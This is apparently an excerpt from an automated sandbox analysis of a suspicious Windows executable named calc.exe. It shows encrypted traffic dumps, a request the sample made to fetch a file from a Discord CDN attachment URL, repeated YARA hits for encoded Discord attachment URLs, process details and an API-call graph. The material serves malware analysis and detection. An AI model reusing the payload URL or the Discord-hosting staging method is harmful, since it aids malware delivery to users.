                                                                                                                                                          2021-10-28 02:47:22 UTC835INData Raw: 67 53 5f 6b 21 2c 01 46 66 75 5a 70 05 4e 74 6e 58 41 75 76 3b 36 31 76 49 5e 61 47 41 2b 64 48 45 22 40 54 02 25 2d 76 56 52 57 72 57 c2 a2 c2 b2 c2 ac c2 b1 c2 a9 c2 99 c2 90 c2 84 c3 b4 c3 88 c2 96 c2 a6 c2 be c2 81 c2 99 c2 8b c2 b5 c2 93 c2 9f c2 a8 c2 ad c2 8a c2 b8 c3 b2 c3 85 c3 8d c2 96 c2 b6 c2 b2 c2 b7 c2 92 c2 b7 c2 82 c2 92 c2 8c c2 91 c2 89 c2 aa c2 b3 c3 81 c2 af c3 b1 c2 a7 c2 96 c2 8d c2 b0 c2 80 c2 a8 c2 82 c3 ba c2 97 c2 97 c2 b3 c3 a2 c2 89 c3 95 c3 88 c3 bc c2 9e c2 a7 c2 9d c2 a3 c2 91 c3 a4 c2 97 c3 87 c3 8f c3 b7 c2 92 c3 89 c3 ab c2 a1 c2 8d c2 9d c3 95 c3 a9 c3 bd c3 8d c3 a0 c3 8b c3 a5 c3 99 c3 9e c3 99 c3 b9 c3 9e c3 bb c2 b1 c2 86 c2 99 c3 86 c3 b9 c3 ae c2 80 c3 9a c3 b5 c3 95 c3 a9 c3 8e c3 b7 c3 89 c3 aa c3 b3 c2 81 c3 af
                                                                                                                                                          Data Ascii: gS_k!,FfuZpNtnXAuv;61vI^aGA+dHE"@T%-vVRWrW
                                                                                                                                                          2021-10-28 02:47:22 UTC851INData Raw: 3e 1b 19 1f 03 1c 02 23 1f 5b 53 6f 10 71 1a 23 15 02 19 0f 13 0c 11 67 74 32 30 36 55 76 7e 76 51 60 6a 53 43 6a 58 5a 6c 24 54 0f 71 74 61 54 70 74 01 58 7b 6a 48 70 77 3e 32 1c 62 52 45 42 65 42 49 5f 43 5c 41 7a 66 3a 17 2d 79 5b 59 7f 6d 64 59 4f 53 4c 51 c2 a7 c2 b4 c3 b2 c3 b0 c3 b6 c2 a7 c2 b4 c2 88 c2 97 c2 9e c2 b4 c3 91 c3 8f c2 86 c2 bc c2 a2 c2 a3 c2 b7 c3 8f c3 b3 c3 b6 c2 9a c2 a4 c2 be c3 82 c2 8e c2 9e c2 a2 c2 82 c2 91 c2 84 c2 b2 c3 b6 c2 b7 c2 a1 c2 a9 c3 b0 c2 80 c3 a1 c3 b5 c2 ab c2 86 c2 84 c2 bf c2 b9 c2 98 c2 b0 c3 b9 c2 af c2 8c c3 84 c2 b8 c3 b0 c2 97 c2 84 c2 b8 c2 a5 c2 96 c2 bd c2 95 c2 8f c2 93 c2 8c c2 91 c3 a7 c3 b4 c2 b2 c2 b0 c2 b6 c3 a7 c3 b4 c3 be c2 93 c3 a7 c3 a5 c2 91 c3 84 c3 b8 c3 aa c2 95 c3 9d c3 bd c3 91 c2 bb
                                                                                                                                                          Data Ascii: >#[Soq#gt206Uv~vQ`jSCjXZl$TqtaTptX{jHpw>2bREBeBI_C\Azf:-y[YmdYOSLQ
                                                                                                                                                          2021-10-28 02:47:22 UTC867INData Raw: 89 17 22 2b 2d 11 5c 1d 25 35 4a 5c 22 20 0d 76 7a 03 32 27 32 0c 17 23 20 36 2b 37 29 3a 79 62 4a 34 02 78 1c 3f 0a 0f 05 13 31 21 2b 09 2d 56 46 23 02 03 08 21 6c 60 15 01 0c 6c 09 1e 5a 4e 5d 52 05 6b 7d 5b 79 74 74 66 7b 64 6c 79 3d 3d 3d 43 14 67 7c 41 0c 63 43 61 6f 73 6e 7a 5c 3a 39 7e 25 57 47 7a 3c 30 45 51 2a 31 4c 59 1d 1d 1d 63 34 47 5c 61 2c 43 63 41 4f 79 53 5a 1a 75 18 c2 95 c3 84 c2 b7 c2 b0 c2 88 c2 aa c2 ab c2 b3 c2 b6 c3 8b c3 9c c2 ab c2 a0 c2 8d c3 ae c3 ac c2 82 c3 95 c3 88 c2 b6 c2 88 c2 a9 c3 80 c2 bf c2 af c3 9b c2 b7 c2 ae c2 bb c3 b9 c2 99 c3 a8 c2 b5 c2 82 c2 83 c2 8a c2 bd c2 8a c2 88 c2 94 c2 86 c2 9b c2 84 c2 8c c2 99 c3 9d c3 9d c3 9d c2 a3 c3 b4 c2 87 c2 9c c2 a1 c3 ac c2 83 c2 a3 c2 81 c2 9f c3 a0 c2 9a c2 9b c3 99 c2 b9
                                                                                                                                                          Data Ascii: "+-\%5J\" vz2'2# 6+7):ybJ4x?1!+-VF#!l`lZN]Rk}[yttf{dly===Cg|AcCaosnz\:9~%WGz<0EQ*1LYc4G\a,CcAOySZu
                                                                                                                                                          2021-10-28 02:47:22 UTC883INData Raw: b4 c3 a7 c3 8f c3 8e c3 87 c3 a2 c3 81 c3 81 c3 ac c3 96 c3 88 c3 99 c2 a2 c3 9b c2 aa c3 b3 c2 b8 c3 a6 c3 96 c3 b4 c3 a6 c3 b2 28 23 31 2d 36 28 34 17 6e 71 48 17 2e 20 55 03 3a 27 19 26 24 38 24 07 7e 61 58 07 3e 30 45 1d 20 03 3c 2f 20 25 01 12 58 5a 58 3e 01 00 3f 06 0e 04 39 1d 06 1b 11 02 48 4a 48 34 0a 1f 32 21 71 6c 4a 48 60 7c 59 7c 10 3a 15 6e 4e 41 64 43 7f 68 4c 5f 49 74 40 41 5b 5f 28 54 6a 7f 52 44 64 54 69 6f 25 66 76 71 33 34 3e 67 4e 76 34 6b 5a 75 77 79 44 4c 63 66 0a 20 02 7c 48 5f 54 73 c2 a8 c2 a3 c2 b1 c2 ad c2 b6 c2 a8 c2 b4 c2 a9 c3 a1 c3 b1 c3 89 c2 94 c2 ae c2 99 c2 82 c2 96 c2 97 c2 a4 c2 94 c2 a5 c2 8a c2 ac c2 89 c2 a2 c3 a8 c3 aa c3 a8 c2 94 c2 aa c2 bf c2 92 c2 87 c3 bb c2 94 c2 a9 c2 ad c2 80 c2 8c c2 b3 c2 9a c3 9c c2 ae
                                                                                                                                                          Data Ascii: (#1-6(4nqH. U:'&$8$~aX>0E </ %XZX>?9HJH42!qlJH`|Y|:nNAdChL_It@A[_(TjRDdTio%fvq34>gNv4kZuwyDLcf |H_Ts
                                                                                                                                                          2021-10-28 02:47:22 UTC899INData Raw: a6 c3 9f c3 8d c3 a6 c3 9f c3 b1 c3 bb c3 a9 c3 85 c3 a8 c3 aa c3 9b c3 87 c3 94 c2 92 c2 90 c2 96 c3 80 c3 91 c3 85 c3 82 c3 a5 c3 8f c3 89 c3 9a c3 80 c3 ba c3 81 c3 a3 c3 a1 c2 84 c2 97 c3 b3 c3 97 c3 80 c3 86 c3 a7 c3 96 c3 b4 c3 99 c3 8f c3 93 c3 8c 2e 00 30 73 6f 77 11 33 2a 23 06 21 5a 4f 3b 24 17 47 2c 65 17 53 1a 26 3a 05 16 35 3e 3a 33 0b 0c 16 15 75 57 57 2c 3c 19 2e 02 0a 1e 34 24 1d 1b 20 0e 65 5f 47 35 35 1a 13 36 11 6a 7f 0b 14 47 17 7c 3a 1a 1d 41 73 6a 63 46 63 6e 58 63 5b 7b 6e 64 15 27 27 5c 4f 57 59 4e 6a 6d 47 7b 68 5a 46 57 13 17 17 12 51 68 45 66 41 68 5e 40 5d 5e 62 4b 06 04 2c 6a 6f 78 53 76 53 5e 60 53 6b c2 ae c2 ae c2 b7 c3 b3 c3 b7 c3 b7 c2 8c c2 99 c2 a5 c2 b1 c2 91 c2 a1 c2 bd c2 a6 c2 b0 c3 8c c2 ba c2 b6 c2 a7 c3 a3 c3 a7
                                                                                                                                                          Data Ascii: .0sow3*#!ZO;$G,eS&:5>:3uWW,<.4$ e_G556jG|:AsjcFcnXc[{nd''\OWYNjmG{hZFWQhEfAh^@]^bK,joxSvS^`Sk
                                                                                                                                                          2021-10-28 02:47:22 UTC915INData Raw: 8d c3 8f c3 a5 c3 a0 c3 a9 c3 88 c3 a2 c3 a6 c3 ad c3 a6 c3 ab c3 a1 c3 8b c3 94 c2 8b c2 b9 c2 bd c3 98 c3 a0 c3 b4 c3 b0 c3 98 c3 bd c3 b0 c3 b5 c3 b6 c3 8d c3 b4 c3 ad c3 a5 c2 8b c2 9a c2 8b c3 af c3 86 c2 b5 c3 81 c3 a8 c3 8e c2 b0 c2 a5 c3 84 c3 8b c3 84 c3 97 c3 82 c2 9d c2 bb c2 9d c3 b0 c3 82 c3 80 c3 90 c3 b8 c3 9d c3 80 c2 b5 c3 95 c3 ad c3 94 c3 9c c3 a4 c2 ab c2 89 72 03 42 39 2d 09 27 35 02 24 0e 25 02 38 7e 7c 62 16 2d 29 3d 19 3e 5f 3d 37 38 36 4a 24 7e 4e 52 26 05 37 02 29 0d 3c 31 03 18 05 29 0f 5e 25 42 3f 03 01 10 39 1d 2c 33 11 19 15 0d 7d 4d 59 22 42 44 61 7e 6b 6e 61 76 67 4e 65 66 56 18 1b 32 55 44 71 7e 59 7c 71 4d 72 68 75 5d 10 2e 0a 12 6f 58 51 45 69 4d 6c 2a 45 7e 45 5f 43 1d 18 02 73 51 41 4e 79 5e 45 3a 52 7e 56 6d 67 38 08
                                                                                                                                                          Data Ascii: rB9-'5$%8~|b-)=>_=786J$~NR&7)<1)^%B?9,3}MY"BDa~knavgNefV2UDq~Y|qMrhu].oXQEiMl*E~E_CsQANy^E:R~Vmg8
                                                                                                                                                          2021-10-28 02:47:22 UTC931INData Raw: 98 c2 95 c3 b6 c2 ad c2 81 c2 a3 c2 9f c2 90 c2 92 c2 9e c2 b0 c2 9b c2 b8 c2 82 c3 88 c3 8a c3 88 c2 9e c2 99 c2 bd c2 91 c2 b3 c3 a4 c3 84 c2 83 c3 ad c3 80 c3 a8 c3 b1 c3 a6 c2 a8 c2 98 c2 b8 c3 8c c3 a0 c3 a3 c3 ac c3 83 c3 b0 c3 bf c2 90 c3 b8 c3 b6 c3 bb c3 bd c3 b6 c2 8e c2 81 c2 b8 c3 9f c3 9a c3 bf c3 b0 c3 b1 c3 88 c3 8c c3 b7 c3 8d c3 bb c3 8b c3 a8 c3 97 c2 98 c2 8a c2 98 c3 a9 c3 89 c3 9f c3 80 c3 a3 c3 98 c3 8a c3 ab c3 9e c3 96 c3 9e c3 91 c3 82 c2 98 c2 9a c2 88 c3 ae c3 ae c3 97 c3 90 0c 21 19 23 29 01 28 09 3d 79 71 79 0b 28 3c 21 1c 35 30 23 39 27 3b 3a 2d 4f 79 69 30 2e 38 3c 2c 0b 04 10 0a 17 0d 00 1d 49 49 59 39 3f 04 01 3c 11 29 13 19 31 18 39 0e 59 41 49 38 1c 0c 1d 4c 65 65 06 6a 41 68 6d 13 39 35 39 6e 7a 46 6c 5c 7b 74 60 7a 67
                                                                                                                                                          Data Ascii: !#)(=yqy(<!50#9';:-Oyi0.8<,IIY9?<)19YAI8LeejAhm959nzFl\{t`zg
                                                                                                                                                          2021-10-28 02:47:22 UTC947INData Raw: a7 c2 91 c2 a3 c2 ba c2 b3 c2 96 c2 b6 c2 94 c2 ae c2 b0 c2 ad c2 8e c2 86 c2 97 c3 93 c3 95 c3 97 c2 a6 c2 93 c2 8a c2 83 c2 a6 c2 83 c2 8e c2 9e c2 80 c2 95 c2 9e c2 85 c2 87 c3 83 c3 87 c3 87 c2 b1 c2 83 c2 9a c2 93 c2 90 c2 82 c3 aa c3 b8 c2 93 c2 bb c3 ae c3 a6 c3 b7 c2 b3 c2 b7 c2 b7 c2 b8 c3 ba c3 98 c3 aa c3 86 c3 a3 c3 ae c3 be c3 a0 c3 bd c3 be c3 a4 c3 a7 c2 a3 c2 a7 c2 a7 c3 91 c3 a3 c3 ba c3 b3 c3 b0 c3 b8 c3 9c c3 ae c3 b0 c3 ad c3 8e c3 86 c3 97 c2 93 c2 95 c2 97 c3 a3 c3 b5 c3 8a c3 83 c3 a6 c3 83 c3 8e c3 9e c3 80 c3 95 c3 9e c3 99 c3 87 c2 83 c2 87 c2 87 c3 b1 c3 83 c3 9a c3 93 c3 90 c3 93 c3 b8 c3 8e c3 90 32 2f 25 36 74 74 74 25 3c 2b 20 07 24 2f 3d 21 2a 3c 0e 26 64 66 64 10 2c 3b 30 31 3a 2c 5b 32 24 0f 05 16 54 56 54 02 1c 0b 00 27
                                                                                                                                                          Data Ascii: 2/%6ttt%<+ $/=!*<&dfd,;01:,[2$TVT'
                                                                                                                                                          2021-10-28 02:47:22 UTC963INData Raw: b2 c2 ad c3 86 c2 b9 c2 ad c2 89 c2 a5 c2 93 c2 af c2 a4 c2 8e c2 a7 c2 bb c2 af c3 98 c3 b8 c3 a2 c2 ba c2 8b c2 a9 c2 bd c2 99 c2 b8 c2 83 c2 99 c2 b4 c2 9e c2 b7 c2 9b c2 bf c3 88 c3 a8 c3 92 c3 93 c2 91 c2 99 c2 8d c2 a9 c2 87 c2 95 c2 a9 c2 84 c2 ae c2 80 c2 ad c2 8f c3 b8 c3 98 c3 82 c3 83 c2 91 c2 89 c2 9d c2 b9 c2 96 c2 a3 c2 b9 c2 94 c2 be c2 90 c2 ad c2 9f c3 a8 c3 88 c2 b2 c3 8c c3 9b c3 83 c3 ad c3 89 c3 a5 c3 b5 c3 af c3 a4 c3 8e c3 a6 c3 bb c3 af c2 88 c2 b8 c2 a2 c3 b3 c3 8b c3 93 c3 bd c3 99 c3 b7 c3 83 c3 9e c3 b4 c3 9e c3 b6 c2 88 c3 bf c2 98 c2 a8 c2 92 c3 9e c3 81 c3 a7 c3 8d c3 a9 c3 86 c3 b3 c3 ae c3 84 c3 ae c3 80 c3 80 c3 8e c2 9e c2 98 c2 82 c3 ad c3 ab c3 bb c3 9d c3 b9 c3 94 c3 b3 c3 be c3 94 c3 be c3 96 c3 b7 c3 9e c2 9e 77 73
                                                                                                                                                          Data Ascii: ws
                                                                                                                                                          2021-10-28 02:47:22 UTC979INData Raw: 43 6d 1f 39 29 2c 79 70 71 6c 45 79 43 49 61 4d 76 5d 2f 09 19 01 49 5c 41 7c 5c 43 52 59 71 58 50 4e 19 19 09 56 6f 48 51 c2 8c c2 a7 c2 b0 c2 92 c2 a9 c2 81 c2 aa c2 86 c2 be c3 a9 c3 a9 c3 b9 c3 ba c2 a9 c2 8e c2 a1 c2 9c c2 bd c2 89 c2 b2 c2 b9 c2 91 c2 bd c2 96 c2 ae c3 9f c3 b9 c3 a9 c2 96 c2 8f c2 9a c2 b1 c2 ac c2 82 c2 90 c2 84 c2 89 c2 a1 c2 88 c2 b6 c2 9f c3 99 c3 89 c3 99 c2 93 c2 af c2 ba c2 81 c2 bc c2 9e c2 a9 c2 92 c2 99 c2 b1 c2 9d c2 80 c2 88 c3 89 c3 99 c3 89 c2 b2 c2 99 c3 ad c2 91 c3 8c c3 a0 c3 89 c3 a2 c3 a9 c3 81 c3 a8 c3 85 c3 b8 c2 a9 c2 a9 c2 b9 c2 b9 c3 b9 c2 9d c3 a1 c3 9c c3 b1 c3 a3 c3 b2 c3 b9 c3 91 c3 bd c3 92 c3 a8 c2 b9 c2 b9 c2 a9 c2 ad c3 a9 c2 8d c3 b1 c3 ac c3 82 c3 a9 c3 82 c3 89 c3 a1 c3 8d c3 b6 c3 98 c2 89 c2 89
                                                                                                                                                          Data Ascii: Cm9),ypqlEyCIaMv]/I\A|\CRYqXPNVoHQ


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                          1192.168.2.349707162.159.129.233443C:\Users\user\Desktop\calc.exe
                                                                                                                                                          TimestampkBytes transferredDirectionData
                                                                                                                                                          2021-10-28 02:47:25 UTC994OUTGET /attachments/897223707649515602/897228595318124554/ascii_ART.txt HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                          2021-10-28 02:47:25 UTC994INHTTP/1.1 403 Forbidden
                                                                                                                                                          Date: Thu, 28 Oct 2021 02:47:25 GMT
                                                                                                                                                          Content-Type: application/xml; charset=UTF-8
                                                                                                                                                          Content-Length: 223
                                                                                                                                                          Connection: close
                                                                                                                                                          CF-Ray: 6a50d6df1de5704b-FRA
                                                                                                                                                          Cache-Control: private, max-age=0
                                                                                                                                                          Expires: Thu, 28 Oct 2021 02:47:25 GMT
                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                          CF-Cache-Status: MISS
                                                                                                                                                          Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                          X-GUploader-UploadID: ADPycdvmIJ6fyxN-S_Ql7MC3Nxbuwa3jy81FwES3sKTaMMXv4jW4iuObIXKgFvb0UnZQx9eqZK_RhW3Ray2ankX5oQc
                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FDLVEnkmb%2FsNn8CmbbO5LGqGPJQYPAvbM4HW6vJSl%2FhNcDhnDUprMVf2%2FvGs7shDtytSOU3vj4YZNk5nZnXCMdZIwtaVDOhNnSZZQGuZe%2B%2B198hfkv8qayNPrbvSCpG3lhavTQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          2021-10-28 02:47:25 UTC995INData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 41 63 63 65 73 73 44 65 6e 69 65 64 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 2e 3c 2f 4d 65 73 73 61 67 65 3e 3c 44 65 74 61 69 6c 73 3e 41 6e 6f 6e 79 6d 6f 75 73 20 63 61 6c 6c 65 72 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 73 74 6f 72 61 67 65 2e 6f 62 6a 65 63 74 73 2e 67 65 74 20 61 63 63 65 73 73 20 74 6f 20 74 68 65 20 47 6f 6f 67 6c 65 20 43 6c 6f 75 64 20 53 74 6f 72 61 67 65 20 6f 62 6a 65 63 74 2e 3c 2f 44 65 74 61 69 6c 73 3e 3c 2f 45 72 72 6f 72 3e
                                                                                                                                                          Data Ascii: <?xml version='1.0' encoding='UTF-8'?><Error><Code>AccessDenied</Code><Message>Access denied.</Message><Details>Anonymous caller does not have storage.objects.get access to the Google Cloud Storage object.</Details></Error>


                                                                                                                                                          Code Manipulations

                                                                                                                                                          Statistics

                                                                                                                                                          CPU Usage

                                                                                                                                                          Click to jump to process

                                                                                                                                                          Memory Usage

                                                                                                                                                          Click to jump to process

                                                                                                                                                          High Level Behavior Distribution

                                                                                                                                                          Click to dive into process behavior distribution

                                                                                                                                                          Behavior

                                                                                                                                                          Click to jump to process

                                                                                                                                                          System Behavior

                                                                                                                                                          General

                                                                                                                                                          Start time:04:47:15
                                                                                                                                                          Start date:28/10/2021
                                                                                                                                                          Path:C:\Users\user\Desktop\calc.exe
                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                          Commandline:'C:\Users\user\Desktop\calc.exe'
                                                                                                                                                          Imagebase:0xaa0000
                                                                                                                                                          File size:192000 bytes
                                                                                                                                                          MD5 hash:CE76AE9D476B9C0DAA25DAF4C6DD4909
                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                          Yara matches:
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000000.343240898.0000000002FDE000.00000004.00000010.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000000.329674852.0000000003183000.00000004.00000001.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000000.343824955.0000000005750000.00000004.00000001.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000000.305223353.0000000000AA2000.00000002.00020000.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000002.367418794.00000000030D1000.00000004.00000001.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000000.342834254.000000000117B000.00000004.00000020.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000002.366800750.000000000117B000.00000004.00000020.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000000.329221190.000000000117B000.00000004.00000020.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000002.366316265.0000000000AA2000.00000002.00020000.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000002.368179872.0000000005750000.00000004.00000001.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000000.343377343.0000000003183000.00000004.00000001.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000002.367396933.0000000002FDE000.00000004.00000010.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000000.339982172.0000000000AA2000.00000002.00020000.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000000.330105874.0000000005750000.00000004.00000001.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000000.329031309.0000000000AA2000.00000002.00020000.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 00000000.00000000.329564277.00000000030D1000.00000004.00000001.sdmp, Author: Florian Roth
                                                                                                                                                          Reputation:low

                                                                                                                                                          General

                                                                                                                                                          Start time:04:47:15
                                                                                                                                                          Start date:28/10/2021
                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                          Imagebase:0x7ff7f20f0000
                                                                                                                                                          File size:625664 bytes
                                                                                                                                                          MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                          Reputation:high

                                                                                                                                                          General

                                                                                                                                                          Start time:04:47:35
                                                                                                                                                          Start date:28/10/2021
                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 5472 -s 2188
                                                                                                                                                          Imagebase:0x1130000
                                                                                                                                                          File size:434592 bytes
                                                                                                                                                          MD5 hash:9E2B8ACAD48ECCA55C0230D63623661B
                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                          Reputation:high

                                                                                                                                                          General

                                                                                                                                                          Start time:04:47:37
                                                                                                                                                          Start date:28/10/2021
                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 5472 -s 2188
                                                                                                                                                          Imagebase:0x1130000
                                                                                                                                                          File size:434592 bytes
                                                                                                                                                          MD5 hash:9E2B8ACAD48ECCA55C0230D63623661B
                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                          Reputation:high

                                                                                                                                                          Disassembly

                                                                                                                                                          Code Analysis

                                                                                                                                                          Reset < >

                                                                                                                                                            Execution Graph

                                                                                                                                                            Execution Coverage:16.4%
                                                                                                                                                            Dynamic/Decrypted Code Coverage:100%
                                                                                                                                                            Signature Coverage:18.8%
                                                                                                                                                            Total number of Nodes:96
                                                                                                                                                            Total number of Limit Nodes:2

                                                                                                                                                            Graph

                                                                                                                                                            execution_graph 23406 7e64b20 23408 7e64bb8 23406->23408 23407 7e64dc7 GetFileMUIPath 23409 7e64e40 23407->23409 23408->23407 23408->23408 23410 79544c8 23411 79544e6 23410->23411 23412 795453d 23411->23412 23414 79545f8 23411->23414 23415 79545aa 23414->23415 23418 7954606 23414->23418 23419 7950b7c 23415->23419 23417 79545d9 23417->23412 23418->23412 23420 7950b87 23419->23420 23421 7954834 23420->23421 23425 7954928 23420->23425 23430 7954938 23420->23430 23435 7954b76 23420->23435 23421->23417 23421->23421 23427 7954936 23425->23427 23440 795ab58 23427->23440 23445 795ab48 23427->23445 23432 795495d 23430->23432 23431 7954b65 23431->23421 23433 795ab58 2 API calls 23432->23433 23434 795ab48 2 API calls 23432->23434 23433->23431 23434->23431 23436 7954b33 23435->23436 23438 795ab58 2 API calls 23436->23438 23439 795ab48 2 API calls 23436->23439 23437 7954b65 23437->23421 23438->23437 23439->23437 23441 795ab80 23440->23441 23442 795ae35 23441->23442 23450 795c018 23441->23450 23455 795c008 23441->23455 23446 795ab80 23445->23446 23447 795ae35 23446->23447 23448 795c018 2 API calls 23446->23448 23449 795c008 2 API calls 23446->23449 23448->23447 23449->23447 23451 795c03a 23450->23451 23460 795c577 23451->23460 23465 795c588 23451->23465 23452 795c253 23452->23442 23456 795c03a 23455->23456 23458 795c577 2 API calls 23456->23458 23459 795c588 2 API calls 23456->23459 23457 795c253 23457->23442 23458->23457 23459->23457 23461 795c588 23460->23461 23470 795c858 23461->23470 23475 795c848 23461->23475 23462 795c60e 23462->23452 23466 795c5aa 23465->23466 23468 795c858 2 API calls 23466->23468 23469 795c848 2 API calls 23466->23469 23467 795c60e 23467->23452 23468->23467 23469->23467 23471 795c880 23470->23471 23480 795d2b0 23471->23480 23486 795d2a0 23471->23486 23472 795c8f1 23472->23462 23476 795c84d 23475->23476 23478 795d2b0 2 API calls 23476->23478 23479 795d2a0 2 API calls 23476->23479 23477 795c8f1 23477->23462 23478->23477 23479->23477 23481 795d2d2 23480->23481 23482 795d319 23481->23482 23493 795d3d0 23481->23493 23497 795d4ee 23481->23497 23502 795d3bf 23481->23502 23482->23472 23487 795d2ab 23486->23487 23488 795d23e 23486->23488 23489 795d319 23487->23489 23490 795d3d0 GetTimeZoneInformation 23487->23490 23491 795d3bf GetTimeZoneInformation 23487->23491 23492 795d4ee GetTimeZoneInformation 23487->23492 23488->23472 23489->23472 23490->23489 23491->23489 23492->23489 23494 795d3ed 23493->23494 23507 7957824 23494->23507 23496 795d422 23496->23482 23498 795d486 23497->23498 23499 795d4f3 23497->23499 23498->23482 23499->23498 23500 795d4f8 GetTimeZoneInformation 23499->23500 23501 795d5e0 23500->23501 23503 795d3c3 23502->23503 23506 795d356 23502->23506 23504 7957824 GetTimeZoneInformation 23503->23504 23505 795d422 23503->23505 23504->23505 23505->23482 23506->23482 23508 795d4f8 GetTimeZoneInformation 23507->23508 23509 795d5e0 23508->23509 